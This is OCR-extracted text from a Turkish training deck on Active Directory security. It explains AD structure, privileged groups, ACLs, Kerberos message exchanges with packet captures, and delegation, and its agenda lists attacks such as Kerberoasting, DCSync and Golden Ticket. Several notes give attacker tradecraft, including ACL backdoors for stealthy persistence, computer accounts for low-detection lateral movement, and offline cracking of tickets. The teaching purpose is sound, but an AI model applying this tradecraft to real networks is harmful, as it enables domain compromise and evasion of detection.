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Ajanda

* Active Directory * Bilgi Toplama
* Mantiksal Birimler ve Obje Tirleri o Powershell ile Bilgi Toplama
* Yetkili ve Yonetici (Admin) Objeler o LDAP ile Bilgi Toplama

* Access Control Entry ve Access Control List Yapilari ©  WINNT Protokolii ile Bilgi Toplama

* Hash Turleri

* Kimlik Dogrulama Protokolleri

o Kerberos
m Protokol Temelleri
m Double Hop Sorunu

* Yatayda Yayillma / Yetki Yukseltme
* Passthe Hash
* Overpass the Hash
* Passthe Ticket

m Delegasyon Tirleri * ASREPRoasting
o NTLM * Kerberoasting
* Trust Yapilari * Privexchange

* Group Policy Preferences
* Constrained Delegation Exploitation
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Ajanda

e Kalicilik Saglama

o DCSync

o DCShadow

o ACL Backdoor

o AdminSDHolder Backdoor
o Skeleton Key Backdoor

* Domainler/Forestlar Arasi Gegis
o Unconstrained Delegation with Spool Service
o  SID History Injection
o Trust Key Exploitation
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ACTIVE DIRECTORY

TEMELLERI : :
Active Directory
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Active Directory

Active Directory Temelleri

* Microsoft tarafindan gelistirilmis ve 2000 yilinda
kullanilmaya baslanmistir.

* Kurum binyesindeki kullanicilar, bilgisayarlari, erisim
yetkilerini, parolalari vb yonetmek icin kullanilan
hiyerarsik ve merkezi bir altyapidir.

* Obijeler icin kimlik dogrulama (Authentication) ve
yetkilendirme (Authorization) islevlerini

gerceklestirmektedir.

* Agac yapisi seklinde yapilandiriimigtir ve mantiksal
objelerle bolimlere ayriimistir.

AFORESTALL

Active Directory
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Mantiksal Birimler ve Obje Tdrleri

Active Directory Temelleri

* Forest: Cogu zaman bir kurumun tim Active )

. . Domain Forest
Directory ortamini barindiran en genis mantiksal (Domaindrecs jolned by st alstonsnioe)
birimdir. Fakat bazi senaryolarda bir kurum igerisinde
birden fazla Forest da bulunabilir.

* Domain: Kii¢lk ve orta dlcekli kurumlarda tim Active
Directory ortamini barindiran mantiksal birimdir. blue.com
Fakat buyuk organizasyonlarda farkl departmanlar
icin farkli Domain yapilar kullanilmaktadir.

* Organizational Unit: Objelerin daha iyi
yonetilebilmesi ve rollerine gore ayrilabilmesi icin

kU||an||an konteynerlerdlr sales.blue.com pr.blue.com accounts.red.com engineering.red.com
* Group: Objelerin gruplanmasi, yetkilerinin kolayca Domalpiies
yonetilebilmesi ve aktarilabilmesi icin kullanilan = Organizational Unit (UO)

birimlerdir.
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Mantiksal Birimler ve Obje Tdrleri

Active Directory Temelleri

Kullanici (User): Calisanlarin kurum bilinyesinde
bilgisayarlara ve sunuculara oturum acarken, e-posta
sistemine oturum acarken kullandiklari hesaplardir.

Kullanici hesaplari ¢alisanlara tanimlandigi gibi
servisler icin de tanimlanabilmektedir. Bu tip
kullanicilar otomatize bir sekilde ¢alismaktadir.

Bilgisayar: Active Directory ortamina dahil
bilgisayarlara ait bilgilerin tutuldugu birimlerdir. Bu
hesaplar da Active Directory ortaminda otomatize bir
sekilde oturum acmaktadir.

AFORESTALL
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Onemli Not

Active Directory Temelleri

- Bilgisayar hesaplarinin da kullanici hesaplari gibi parolalari bulunmaktadir. Fakat bu parolalar
otomatize olarak belirlenmis karmasik degerlerdir.

Bilgisayar hesaplari da kullanici hesaplari gibi oturum a¢gma icin kullanilabilmektedir.

Bu nedenle yatayda yayilma ve yetki yikseltme amaciyla bilgisayar hesaplari kullanilarak

daha az tespit edinilecek sekilde ilerlenebilir.
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Mantiksal Birimler ve Obje Tdrleri

Active Directory Temelleri

GPO (Group Policy Object): Objelerin merkezi sekilde
yonetimini saglayabilmek adina kullanilan politika
dokimanlaridir. Kullanicilara ve bilgisayarlara
uygulanabilmektedir.

Group Policy objeleri Domain, OU ve Site yaplilari
Uzerinden uygulanabilmektedir.

Managed Service Account: Servis hesaplarinin
otomatize bir sekilde yonetimini saglamak adina

olusturulmus objelerdir.

Bu objelerin parolalari otomatize bir sekilde
belirlenmekte ve periyodik olarak degistiriimektedir.

AFORESTALL
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Onemli Not

Active Directory Temelleri

- Domain, Organizational Unit ve Site objeler kendilerine uygulanan Group Policy objelerini
gerekli kosullara gore barindirdiklari objelere iletirler.
o Blocklnheritance
o Enforcement

Precedence
L(ocal)S(ite)D(omain)OU

- Group Policy objeleri nihai olarak bilgisayarlar ve kullanicilar Gzerinde etkilidir.

- Bu nedenle Group Policy analizleri tim bu sure¢ goz onune alinarak gerceklestirilmelidir.
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Yetkili ve Admin Objeler

Active Directory Temelleri

* Domain Controller: Active Directory ortaminin
yonetimini saglayan ve merkezi veritabanini

barindiran sunuculardir. O
Administrators

* Bu sunucu Uzerinde komut ¢alistirilabilirse veya bu
sunucunun bilgisayar hesabl ele gecirilebilirse tim
Active Directory ortami ele gegcirilebilir.

Gy
R0, »
ey
2
aﬂoﬁ

* Admin Gruplar &
o Administrators: Domain tzerinde tim yetkiye sahip
gruptur.
o Domain Admins: Domain lizerinde tim yetkiye sahip
gruptur. 0 O O
i o Enterprise Admins Domain Admins

o Enterprise Admins: Birden fazla domain bulunan bir
ortamda tum domainlerde tim yetkiye sahip gruptur.
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Yetkili ve Admin Objeler

Active Directory Temelleri

* Yetkili Gruplar

o DnsAdmins: DNS sunucusu uzerinde DLL ile komut
calistirma yetkisine sahiptirler.

@

srvaccl1@fslab.local

o Group Policy Creator Owners: Group Policy objesi
olusturma yetkisine sahiptirler.

1e

RENTON_HOLDEN@fslab.local

o Print Operators: Sunucularda yazici ve yazici
slirlictsu (driver) ekleyerek komut galistirma yetkisine O
sahiptirler. Account Operatars@fslab.local

O

BARNEY_HODGE@fslab.local

Gener;, Al

o Server Operators: Sunucularin yonetimini ,.
gerceklestirme yetkisine sahiptirler.

o

srvacc2@fslab.local

o Account Operators: Active Directory hesaplarinin
yonetimini gerceklestirme yetkisine sahiptirler.

@

srvacc@fslab.local
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Onemli Not

Active Directory Temelleri

- Gruplar biinyesindeki yetkileri (ACL, Local Admin vb) barindirdiklari/liye objelere aktarirlar.

- Bu nedenleic ice (nested) grup lyelikleri detayh olarak incelenmelidir.
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Uygulama

Active Directory Temelleri

Domain Controller sunucusu Uzerinde oturum aciniz.

Active Directory Users and Computers uygulamasini aciniz.

Active Directory ortamindaki objeleri, obje 6zelliklerini ve grup uyeliklerini inceleyiniz.
Bir adet kullanici hesabi olusturunuz.

Olusturdugunuz kullanictyt Domain Admins grubuna ekleyiniz.

Bir adet Organizational Unit olusturunuz. Olusturdugunuz kullaniciyr bu OU icerisine tasiyiniz.

Bir adet Group Policy objesi olusturunuz. Olusturdugunuz GPQO’yu OU'ya baglayiniz.(link)
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ACE ve ACL Yapilari

Active Directory Temelleri

Active Directory ortaminda yetkilendirme politikalari
cok detayl bir sekilde tanimlanabilmektedir.

Bu bilgiler domain veritabaninda obijelerin i¢erisinde
bulunmaktadir.

ACE (Access Control Entry): Yetkilendirme tanimi
icin kullanilan tekil girdilerdir.

ACL (Access Control List): Yetkilendirme
tanimlarinin birlikte olusturdugu ve objeye erisimlerin

nihai kurallarini barindiran girdilerdir.
* DACL (Discretionary ACL): Yetkilendirme igin kullanilan
ACL girdileridir.

* SACL (System ACL): Objeye erisimin kayit altina
alinmasit igin kullanilan ACL girdileridir.

AFORESTALL

Owner: Objenin sahibini belirtir, obje sahibinin obje
uzerinde herhangi bir degisikligi yapma yetkisi
bulunmaktadir.

GenericAll: Obje ile ilgili tim dedgisiklikleri yapma
yetkisidir.

GenericWrite: Objenin tiim degerlerine (attribute)
yazma yetkisidir.

WriteDACL: Obje tUzerindeki yetkileri diizenleme
yetkisidir.

Extended-Rights: Obje lizerinde cesitli degerler

Uzerinde yazma yetkisidir.
o Force-Change-Password, GetChanges, WritePropery
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Onemli Not

Active Directory Temelleri

- ACE/ACL yapilari ile cok detayli ve spesifik yetkilendirmeler yapilabilmektedir.

- Bu nedenle bu mekanizma tespiti zor bir arka kapi (backdoor) olarak kalicilik (persistence)
amaciyla kullanilabilmektedir.

- Ele gecirdiginiz bir hesabi yetkili bir gruba eklemektense yetkili bir grup Gyesi tzerinde ACL

backdoor olusturmak daha az tespit edilen bir yontemdir.
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Uygulama

Active Directory Temelleri

Domain Controller sunucusu Uzerinde oturum aciniz.
Active Directory Users and Computers uygulamasini aciniz.
Active Directory ortamindaki objeleri Gzerindeki ACL dederlerini inceleyiniz.

Bir adet kullanici hesabi olusturunuz.

Olusturdugunuz kullanici'dan daha dnceki kullaniciya Force-Change-Password ACE tanimlayiniz.
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Kimlik Dogrulama Protokolleri

Active Directory Temelleri

* Active Directory ortaminda kimlik dogrulama
amaciyla cogunlukla NTLM ve Kerberos protokolleri
kullaniimaktadir.

* NTLM protokoli hem lokal hem de domain bazinda
kimlik dogrulama icin kullanilabilmektedir. Fakat
Kerberos kimlik dogrulama i¢in Domain Controller
sunucusuna erisim gereklidir.

* NTLM protokoli Gzerinde ¢esitli gtivenlik eksiklikleri
bulunmakta ve kullanilmamasi 6nerilmektedir. Fakat KERBEROS
bagimhliklardan dolayi kullanimi hala devam ediyor.

* Bu protokollerin asil amaci ag Gzerinden herhangi bir
parola verisi gdndermeden kimlik dogrulama
yapabilmektir.
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Service Principal Name

Active Directory Temelleri

» Service Principal Name (SPN) degerleri objeler
Uzerinde bulunmakta ve objenin hangi servisi _ | N
yonettigini gostermektedir. dapyde. 7s1ab. local /For estDsZones. £1ab. loce]

* Kerberos protokoliinde servise erisim sirasinda ve
kontroller sirasinda bu deger kullaniilmaktadir.

slab. Tocal
-00C04FC

e SPN degeri asagidaki formatlar olabilmektedir.
* {Service Name}/ {Host FQDN or NETBIOS Name} /
{Port} / {Instance Name}

? /ceb3acaB-a258-46ce-9d95-abbd40eb6eada,/F=1ab. Tocal

* MSSQLSVC/SQLSRVO01.fslab.local:1433:instance

* MSSQLSVC/SQLSRVO01.fslab.local:1433

ce Accounts ,DC=F=lab, D =local
1ab. Tocal

«  MSSQLSVC/SQLSRVO1.fslab.local STWIRiG00 OU-stage, 0c=Fs1ab, 0C=Tocal

1,DC=Fs1ab,DC=local

STW! ( =Devices ,0U=G00,0U=Tier 1,DC=fslab,DC=local
ST O000;
® MSSQ LSVC/SQ LSRV01 ST IE'J;E'EEE;E-,OU:EEC,tJLI=T'|'&r" 2,DC=fslab,DC=1ocal

HOST/TSTWAPPS1000002
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Kerberos

Active Directory Temelleri

» Kerberos protokollu Active Directory altyapisinin
calisabilmesi icin gerekli ana kimlik dogrulama
protokoluddr.

© Request TGT el
> Domain Controller

© TGT + Session Key

* DC lzerinde 88 numaral portta calismaktadir.
© Request Ticket + Auth

>
* Protokoliin ¢alisma siirecinde 3 taraf bulunmaktadir. < @ Ticket + Session Key A

* istemci (Client): Bir sunucuya/servise erismek igin
Kerberos kimlik dogrulama islemini baslatir.

© Request Service + Auth KDC =AS + TGS

C . o GServer
* Sunucu (Server): Servisin lizerinde c¢alisti§i sunucudur. Authentication
Kerberos protokolii sonucu istenen hizmeti
sunmaktadir. Resource

Server

* KDC (Key Distribution Center)
® AS (Authentication Service)
®* TGS (Ticket Granting Service)
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Kerberos

Active Directory Temelleri

KDC (Key Distribution Center): Kerberos protokoli
sirasinda gerekli dogrulama islemlerini ve bilet
(ticket) Uretmek islemini yapan servistir.

AS (Authentication Server): Kerberos'u baslatan
istemcinin kimliginin dogru olup olmadigini kontrol
etmektedir.

Bu servis dogrulama iglemini yaparken DC tzerindeki
veritabanini kullanmaktadir. Bu veri tabani igerisinde
tiim objelerin parola 6zeti (hash) bulunmaktadir.

TGS (Ticket Granting Service): Kerberos siirecinde

biletlerin olusturulmasini ve dogrulanmasini saglayan
servistir.

AFORESTALL

© Request TGT

=

© TGT + Session Key
<

© Request Ticket + Auth

o Ticket + Session Key

<

>

Authentication

HACKTRICK
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Kerberos

Active Directory Temelleri

« KRBTGT: Kerberos protokollni ve KDC servisini
yoneten kullanici hesabidir.

e Kerberos sirasinda kullanilan biletlerin bir kismi bu
hesabin parola ozeti ile sifrelenmektedir.

* EQer bu hesabin parola 6zeti ele gecirilebilirse
domain ortamindaki tim hesaplar icin ticket
olusturulabilmektedir. Bu sayede domain ortami ele
gecirilmis olur.

* Bu saldin yontemi Golden Ticket olarak
adlandiriimaktadir.

@FORESTI\LL HACKTRICK



Onemli Not

Active Directory Temelleri

- Protokol sadece kimlik dogrulama (Authentication) amaciyla kullaniimaktadir.

- Yetkilendirme (Authorization) asamasinda kullaniimamaktadir.

- Protokol yetkilendirmeye yonelik veriler tasisa da yetkilendirme islevi servisler tarafindan

farkli yontemlerle gerceklestiriimektedir.
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Kerberos — AS-REQ

Active Directory Temelleri

e Kullanicinin KDC tzerinde kimliginin dogrulanmasi
icin yapilan ilk istektir.

* Paket icerisindeki kullanici adi, krbtgt SPN degeri ve
nonce dederi acik bir sekilde gonderilmektedir. KRB_AS_REQ

Timestamp

« Zaman damgasi (timestamp) degeri ise istemcinin ‘ \ - @m ______________

parola ozeti ile sifrelenmektedir.

Username
* AS sifreli zaman damgasinin gifresini ¢ozer ve diger SPN krbtgt
bilgileri de kullanarak bir dogrulama gerceklestirir. User User nonce KDC (DC)
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Kerberos — AS-REQ

Active Directory Temelleri

¥ Kerberos
> Record Mark: 312 bytes
¥ as-req
pvno: 5
msg-type: krb-as-req (1@)
¥ padata: 2 items
¥ PA-DATA pA-ENC-TIMESTAMP
v padata-type: pA-ENC-TIMESTAMP (2)
% padata-value: 3841a8838208112a323a8438a59bTac7?578c7353Tedc7ako15d5836b1708370868e46b211ddA..
etype: eTYPE-AES256-CTS-HMAC-SHAT-96 (18)
cipher: a59bfac7578c7353fe4c7a@915d5336b17037065246b211ddBba776808a74619a3T5c4dfa..
v PA-DATA pA-PAC-REQUEST
¥ padata-type: pA-PAC-REQUEST (128)
% padata-value: 3885a8838181ff
include-pac: True

v req-body
Padding: @
> kdc-opticns: 48318818
¥ Cname
name-type: kRBS-NT-PRINCIPAL (1)
¥ cname-string: 1 item

CNameString: Administrator
realm: FSLAB.LOCAL
¥ sname
name-type: kRBS-NT-SRV-INST (2)
¥ sname-string: 2 items
SNameString: krbtgt
SNameString: FSLAE.LOCAL
till: 2837-89-13 82:48:85 (UTC)
rtime: 2837-89-13 82:45:85 (UTC)
nance: 3617515683
> etype: 6 items
» addresses: 1 item WSBl<20:

@FORESTALL HACKTRICK



Onemli Not

Active Directory Temelleri

- Zaman damgasi degeri kontroll sayesinde Packet Replay saldirilarinin 6nline gecilmis olur.

- Bu zaman araliklari GPO ile konfiglire edilebilmektedir.
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Kerberos — AS-REP

Active Directory Temelleri

KDC istemciden gelen AS-REQ istegini dogrularsa
istemciye AS-REP istedi ile birlikte TGT (Ticket
Granting Ticket) adl bileti ve Session Key degeri
gondermektedir.

istemci daha sonra bu bileti kullanarak farkl biletleri
olusturabilecektir.

AS-REP icerisindeki TGT krbtgt hesabinin parola 6zeti

ile sifrelenmistir. User

Session Key degerini ve diger bilgileri iceren kisim ise
istemcinin parola 6zeti ile sifrelenmistir.

Bu sayede istemci Session Key degerini elde
edebilecek fakat TGT biletini desifre edemeyecektir.

KRB_AS_REP

Username

Username

Session key ‘ Session key

‘ TGT expiration time ‘

TGT expiration time

User nonce ‘ '

PAC haaly

@FOREST/\LL HACKTRICK
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Kerberos — AS-REP

Kimlik Dogrulama Protokolleri

v Kerberos
» Record Mark: 1583 bytes
¥ as-rep
pvno: 5
msg-type: krb-as-rep (11)
¥ padata: 1 item
¥ PA-DATA pA-ETYPE-INFO2
v padata-type: pA-ETYPE-INFOZ (19)
¥ padata-value: 38233821a3803828112511albl346534c41422:4c4T43414c41646d696e6973747261746T..
¥ ETYPE-INFO2-ENTRY
etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
salt: FSLAB.LOCALAdministrator
crealm: FSLAB.LOCAL

2 Ccname
v ticket
tkt-vno: 5
realm: FSLAB.LOCAL
* sname

name-type: kRBS-NT-5RV-INST (2)
¥ sname-string: 2 items
SNameString: krbtgt
SNameString: FSLAB.LOCAL
W enc-part
etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
kwvno: 2
cipher: 4e774671c71a87599fh1a75519585f35bcBcde@bdl5a3c7236a5193acadpaffag55420a3..
¥ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
kvno: 2

cipher: cc4ee@B8761f92a377deBch5abdee3beb96lbda2s33afcield2asef4abldad?ated74980b2..
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Kerberos — TGS-REQ

Active Directory Temelleri

 stemci TGT degerini elde ettikten sonra erismek
istedigi servis icin gerekli bileti almasi gerekmektedir.

* Bu bileti almak i¢in de KDC'ye TGS-REQ istegini KRB_TGS_REQ

gondermektedir. Bu istek icerisinde SPN ve nonce

degerli acik bir sekilde, istemci adi ve zaman Jsername

damgasi da Session Key ile sifreli bir sekilde _[mesamp =

gonderiimektedir,. ~Fr 1 (@) sessionkey |- -

- 5 _TGT 5 =
e TGT ise ayni sekilde bu pakete eklenmektedir. vsor | = \O)TE """"""" KDG (OC)
PN

* TGS servisi Session Key degeri ile istemci adi ve User nonce

zaman damgasini desifre ederek dogrular.
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Kerberos — TGS-REQ

Active Directory Temelleri

¥ Kerberos
> Record Mark: 1626 bytes
¥ tgs-req
pvno: 5
msg-type: krb-tgs-req (12)
v padata: 2 items
¥ PA-DATA pA-TGS5-REQ

¥ ap-req
pvno: 5
Padding: @

v ticket
tkt-vno: 5

* sname

“ enc-part

kvno: 2
cipher:
enticator

»_ap-options: @06B8008

v padata-type: pA-TGS-REQ (1)
v padata-value: 6e82051730820513a2003020105210302010ea2207030 382045d618204593

msg-type: krb-ap-req (14)

realm: FSLAB.LOCAL

name-type: kRBS-NT-SRV-INST (2)
¥ sname-string: 2 items
SNameString: krbtgt
SNameString: FSLAB.LOCAL

etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)

4e774671c71a87599fb1a755195085f 35hc@cdedbdlSa3c7236a5193aca408ffag55420a8..

etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
cipher: b16bb2551b69868d10c1971f578250a9f349ac57f8e19478f14b6aafadeddecT6f2641c]..

> PA-DATA pA-PAC-OPTIONS
¥ req-body
Padding: @
> kdc-options: 4@3leeee
realm: FSLAB.LOCAL

¥ sname

¥ sname-string: 2 items
SNameString: cifs
SNameString: dc

name-type: kRB5-NT-SRV-INST (2)

nonce: 861751548
> etype: 5 itE

till: 2037-@9-13 @2:48:@5 (UTC)

¥ enc-authorization-data

etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
cipher: 2c39ablb5c877a486ce251Tde873dbca®a587b5d9bateadf6510b3fc75af580aaee328ce..

AFORESTALL
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Kerberos — TGS-REP

Active Directory Temelleri

KDC istemciden gelen TGS-REQ istegini
dogruladiktan sonra istemciye erismek istedigi
servise ait biletini (ST) iceren TGS-REP paketini
gondermektedir.

Paket icerisindeki ST bileti servisi yoneten kullaniciya

ait parola 0zeti ile sifrelenmektedir.

ST'ye ait diger veriler ve Service Session Key degeri
ise daha once elde edilen Session Key ile
sifrelenmektedir.

User

Bu sayede istemci ST biletini okuyamayacak fakat
Service Session Key degerini elde edebilecektir.

KRB_TGS_REP
Username ‘ ‘ Service session key ‘
‘ Service session key ‘ ‘ Username ‘
‘ TGS expiration time ‘ ‘ TGS expiration time ‘
‘ User nonce ‘ ‘ PAC

A R
------------ \B ) Session key \0 ) service owner hash |

@FOREST/\LL HACKTRICK
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Kerberos — TGS-REP

Active Directory Temelleri

v Kerberos

» Record Mark: 1621 bytes

¥ tgs-rep
pvno: 5
msg-type: krb-tgs-rep (13)
crealm: FSLAB.LOCAL

» cname
name-type: kRB5-NT-PRINCIPAL (1)

¥ cname-string: 1 item

CNameString: Administrator

¥ ticket
tkt-vno: 5
realm: FSLAE.LOCAL
¥ sname

name-type: kRBS-NT-SRV-INST (2)
¥ sname-string: 2 items
SNameString: cifs
SNameString: dc
¥ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
kvno: 5
cipher: 25cflefe?4cbdceddf23843Taa515058:ed75928d916db1672231bdo7bb759164a922bes..
¥ enc-part
etype: eTYPE-AES256-CT5-HMAC-SHAL-96 (18)
cipher: 227f189f@b4dBa7761118b9329T2h8fEaTed7ea7b2e468508552a278d613dde285Tdfa77e..
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Onemli Not

Active Directory Temelleri

- Active Directory ortaminda hesap kelimesi hem kullanicilar (user) hem de bilgisayarlar
(computer) icin kullaniimaktadir.

- Yani bir servisi kullanici hesabi yonetebilecegi gibi bilgisayar hesaplari da yonetebilmektedir.
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Onemli Not

Active Directory Temelleri

- Bu asamada yetkilendirme i¢in herhangi bir dogrulama yapilmamaktadir.

- Bu nedenle ortamdaki tim kullanicilar tum servisler icin TGS-REP biletini elde edebilirler.
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Kerberos — AP-REQ

Active Directory Temelleri

Son agsamada istemci elde ettigi ST biletini de
kullanarak erigsmek istedigi sunucuya AP-REP istegi
gerceklestirmektedir.

. . .. R . . KRB_AP_REQ
Bu istek icerisinde de ST bileti ve Service SessionKey -

ile sifrelenmis istemci adi ve zaman damgasi TGS

bulunmaktadir. I\/Q ) Service owner hash
Username

Sunucu bu bilgileri desifre edip dogruladiktan sonra

Timestamp

yetkilendirme kontrolinid gerceklestirmektedir. Eger User

kullanicinin erisim yetkisi varsa kullanici basariyla (@) service session key
servise erisebilecektir.

Bu pakete cevap olarak da bilgilendirme amacli AP-

REP paketi gonderilmektedir. Fakat bu paketin
gonderilmesi zorunlu degildir.
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Kerberos — AP-REQ

Active Directory Temelleri

¥ Kerberos

¥ ap-req
pvno: 5
msg-type: krb-ap-regq (14)
Padding: @
» ap-ocptions: 2000BEE38
¥ ticket
thkt-vno: 5
realm: FSLAB.LOCAL
¥ sname

name-type: kRBS-NT-SRV-INST (2)
¥ sname-string: 2 items
SNameString: cifs
SNameString: dc
¥ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
kvno: 5
cipher: 25cflefe74chdcedBi23843Taa5158582d75928d916db1872e31bd97bb759164a922be5..
* authentlcator
etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
cipher: 8b7bd2272e4765eatbl9fd78cf11e3dch166b472ae6TT409b54b8b15VE0dTe7e56281T56..
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Kerberos — Ozet

Active Directory Temelleri

AS-REQ = istemci -> Encrypt(Alice[NTHash] , Authenticator) + Alice + fslab.local -> KDC

AS-REP = KDC -> Encrypt(KRBTGT[NTHash], TGT + SK1) + Encrypt(Alice[NTHash] , SK1) -> istemci
TGS-REQ = istemci -> Encrypt(KRBTGT[NTHash] , TGT + SK1) + Encrypt(SK1, Authenticator) -> KDC
TGS-REP = KDC -> Encrypt(ServiceUser[NTHash] , ST + SK2) + Encrypt(SK1, SK2) -> istemci

AP-REQ = istemci -> Encrypt(ServiceUser[NTHash] , ST + SK2) + Encrypt(SK2, Authenticator) -> Server

AP-REP = Server -> Encrypt(SK2, Authenticator) -> istemci
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Onemli Not

Active Directory Temelleri

- Objelerin (KRBTGT, Service Account, User) parolasi ile sifrelenen veri iceren tiim biletlere
offline olarak brute force yapilabilir.

- Bu sayede e{er parola basitse plain-text olarak ele gecirilebilir.
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Kerberos Double Hop Sorunu

Active Directory Temelleri

Kerberos protokoll dogasi geregi erisilen sunucunun
istemcinin kimlik bilgileri ile farkl sunuculara
erigsmesini engellemektedir.

Ornegin bir IS sunucusu Kerberos protokolii
sonucunda erisen istemci bilgilerini MSSQL veritabani
sunucusuna erisim saglarken kullanamamaktadir.

Bu durum da Double Hop olarak adlandiriimaktadir.
Microsoft bu problem ¢6zmek adina cesitli yontemler
gelistirmigtir.

* Unconstrained Delegation

* Constrained Delegation

* Resource Based Constrained Delegation

Chowmuain
Controlar

S

Kerberos Double Hop

AFORESTALL
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Unconstrained Delegation

Active Directory Temelleri

* Unconstrained Delegation (Kisitlamasiz Delegasyon)
yontemi ile sunucuya kendisine erisen istemcileri taklit %

etme (impersonation) yetenegdi saglanmaktadir.
User Domain Controller Service A
| I
. . o e . | I
* Fakat isimden de anlasilacagi tzere bu taklit | TGT roquest withpro-ahontaton |
asamasinda herhangi bir kisitlama bulunmamaktadir. ot |
I
] ) ) o TGS request to Service A »:
* Yani sunucu Active Directory ortamindaki tim |
TGS for the user to Service A |
I

servislere erisirken bu taklit yetenegini
kullanabilmektedir.

The user authenticates with the TGS and delegates his TGT
|

TGS request to Service B

* Buiglemin gerceklesebilmesi icin Kerberos
protokoliniin son agsamasinda istemci, sunucuya TGT
biletini de gondermektedir. Sunucu da bu bileti

TGS for the user to Service B

The service impersonates

Service B

the user with the obtained TGS

kullanarak diger servis icin gerekli ST biletini DC'den
almaktadir.

s T it Bl wEnl

—_——_————y Yy ]

I
I ;
using the user's TGT

le

I

I

|

I

|

I

I

I

I

@FORESTI\LL HACKTRICK

|
[
|
I
I
|
I
I
|
I
I
I
I
I
I
|
I
I
I
|
I
|
!
|
I
I




Unconstrained Delegation

Active Directory Temelleri

Users and Computers

Location | Managed By I Chiject | Security | Dialin | Attribute Editor
General I Operating System | Member OF | Delegation | Password Replication =

BadaETEh

Delegation is a security-sensitive operation, which allows services to act on Mame Type
behalf of another user. 1 WINTO Computer
(EWIN-NLTPEE10UI2 Computer

() Do not trust this computer for delegation
(® Trust this computer for delegation to any service (Kerberos only)
() Trust this computer for delegation to specified services only

(®) lse Kerberos only

() Use any authertication protocol

Services to which thiz account can present delegated credentials:

Service Type  User or Computer Port Service M;

Add... | | Remove
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Constrained Delegation

Active Directory Temelleri

Constrained Delegation (Kisitlanmig Delegasyon)
yontemi de Unconstrained Delegation yontemine %
benzer sekilde ¢alismaktadir. User

Domain Controller Service A

TGT request with pre-authentication

|

I |

[ |

Bu sayede sunucu belirli servisler disindaki servislere | - >I
. . . . . |
erisirken taklit (impersonation) yapamayacaktir. N |
| TGS request to Service A |

[ >

: : : : L\ : | - !

Bu islemin gerceklesebilmesi sunucu diger servise < TS Torthe userto SeviceA |

|
The user authenticates with the TGS
]

erismek icin DC'ye istemcinin ST bileti ile S4U2Proxy
ISteij yapmaktad|r S4U2Proxy request fora TGS
for the user to Service B

with the user's TGS

I
|
I
<

TGS for the user to Service B

The service impersonates

Service B

the user with the obtained TGS

_——__—y ! ¥ ]
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Constrained Delegation

Active Directory Temelleri

WIN1D Properties ? d — O x>

PuUTErs

Location  Managed By Chject  Securty  Aftibute Editor  BitLocker Recovery | : —
General Operating System Member OF Delegation Password Replication @ S = | | ?_;- B’ E T

Delegation is a securty-sensitive operation, which allows services to act on Mame Type

behalf of another user.
B win1D Computer

(") Do not trust this computer for delegation ﬂ,,‘;:WIN—NLTPSE‘... Computer

() Trust this computer for delegation to any service (Kerberos only)
(®) Trust this computer for delegation to specified services only

(®) Use Kerberos only

() Use any authentication protocal

Services to which this account can present delegated credentials:

Service Type  User or Computer Part Service M
cifs WINTO
£ >

e oo

QK Cancel Apply Help
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Onemli Not

Active Directory Temelleri

- Ticketlar icerisindeki servis bilgisi plain-text olarak iletildiginden Constrained Delegation’daki
servis kisiti kolay bir sekilde bypass edilebilmektedir.

- Bu nedenle servis kisitl gecersiz kalmakta ve Constrained Delegation sadece sunucu kisitl
uygulayabilmektedir.
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Constrained Delegation — Protocol Transition

Active Directory Temelleri

* Constrained Delegation (Kisitlanmis Delegasyon)

Protocol Transition (Protokol Gegisi) yontemi
istemcinin servise Kerberos digindaki yontemlerle

Service A Domain Controller Service B

(NTLM, WebForm vb) badlanmasi sirasinda kullanim

e e el e . S4U2Self request for a user
amaciyla gelistirilmistir.

TGS for the user to Service A

* Bu nedenle erisilen servis oncelikle kendisi i¢in gerekli
ST biletini S4U2Self istegi ile DC sunucusundan alr,
daha sonra bu ST bileti ile S4U2Proxy istegi yaparak
diger servis icin gerekli ST biletini elde eder.

S4U2Proxy request for a TGS
for the user to Service B with the
TGS obtained in the previous step

TGS for the user to Service B

_l_ ¥ ___|_y¥ __|

The service impersonates the user with the obtained TGS
I
I
I

* Son asamada elde edilen ST ile ikinci servise de
erisilebilmektedir.

—————F - ———Kk———

_—y ]
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Constrained Delegation — Protocol Transition

Active Directory Temelleri

Properties ] Active Directory Users and Computers — O x
Location  Managed By  Object  Securty  Afttibute Editor  BitLog File  Action View Help : —
General Operating System Member COf Delegation Passwor{ 4= @’ | ] | c%j E| | X El (G = | | ?_:- BRET
Delegation is a securty-sensitive operation, which allows services to act on : Active Directory Users and Com || Marme Type
behalf of another user. | Saved Queries

- Computer
() Do not trust this computer for delegation A fﬂ simulab.local T WIN-MLTPEE... Computer
() Trust this computer for delegation to any service (Kerberos anly) J Builtin i
(®) Trust this computer for delegation to specified services only H Compluters
() Use Kerberos only -f EDrrTamSCDntl:::I;e.rs -
o | ForeignSecurityPrincipal:
1 uthenticat rotocol -
()] .searr:.'a . = |.c ion protocol . “ LostAndFound
Services to which this account can present delegated credentials: = Managed Service Accour
Service Type  User or Computer Port Service N 3| Microsoft Exchange Sect
cifs WIN-OKMIGJOGUHO SIMULAB | Program Data
| System A
| Users
| Microsoft Exchange Syst
~ NTDS Cuctas
~| TPM Devices
£ >
[ Expanded Add... Remove
L4 > £ >
QK Cancel Apphy
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Onemli Not

Active Directory Temelleri

Protocol Transition yonteminde istemcinin ilk erisimi Kerberos ile olmadigi icin sirecin bir
sekilde Kerberos protokolline gecirilmesi gerekmektedir.

S4U2Self ile sadece kullanicinin adi ve domain adi ile gerekli bilet olusturularak Kerberos
surecine gecilmis olur.

Bu sayede, S4U2Self istegi ile Active Directory ortamindaki tim kullanicilar hedef sunucu
Uzerindeki tim servisler icin taklit edilebilmektedir.
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Resource Based Constrained Delegation

Active Directory Temelleri

RBCD (Kaynak Tabanl Kisitlanmis Delegasyon)
yontemi Active Directory ortamindaki objelerin kendi
uzerlerinde delegasyon tanimlayabilmeleri igin
gelistirilmistir.

Yani bu yontemi herhangi bir admin ihtiyaci olmadan
her kullanici kendisi i¢in tanimlayabilmektedir.

Bu yontemde ayrica delegasyon yoni digerlerine gore
